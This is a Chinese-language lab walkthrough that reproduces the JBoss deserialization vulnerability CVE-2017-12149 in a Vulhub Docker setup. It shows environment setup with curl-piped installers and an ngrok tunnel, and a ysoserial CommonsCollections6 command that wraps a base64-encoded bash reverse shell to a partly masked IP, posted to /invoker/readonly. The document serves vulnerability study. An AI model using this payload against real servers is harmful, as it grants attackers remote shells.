参考文献: https://github.com/vulhub/vulhub https://github.com/vulhub/vulhub/tree/e9509e2893909c3147fc33e804c34fabdffbdf3b/jboss/CVE-2017-12149 下载地址: vulhub
安装vulhub
环境:
ubuntu16.04
curl -s https://bootstrap.pypa.io/get-pip.py | python3 #安装pip
curl -s https://get.docker.com/ | sh或
sudo apt install docker.io # 安装最新版docker
service docker start #启动docker服务
pip install docker-compose #安装compose
docker version #出现server和client的版本号则安装成功
安装vulhub
vulhub/activemq/cve-2016-3088/ #进入一个目录
docker-compose up -d #运行
docker-compose down #关闭
运行jboss测试环境
/vulhub/jboss/CVE-2017-12149# docker-compose up -d
初始化完成后访问
http://xxx.xxx.xxx.xxx:8080/即可看到JBoss默认页面
通过
ngrok
来访问内网上的内容
'/home/cws6/Desktop/ngrok' http 8080
漏洞复现
- 该漏洞出现在
请求中,服务器将用户提交的POST内容进行了Java反序列化:/invoker/readonly

编写反弹shell的命令
- 使用bash来反弹shell,但由于
中不能使用管道符等bash需要的方法,我们需要用进行一次编码。Runtime.getRuntime().exec()
工具:
http://jackson.thuraisamy.me/runtime-exec-payloads.html序列化数据生成
- 使用 ysoserial 生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的
是gadget
:CommonsCollections6
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAxxxxxxxxxxxxxxxxxxxxxD4mMQ==}|{base64,-d}|{bash,-i}" > 3.ser
发送POC
- 将生成好的
文件作为POST Body发送至/invoker/readonly即可:3.ser
复现jboss CVE-2017-12149 2.png复现jboss CVE-2017-12149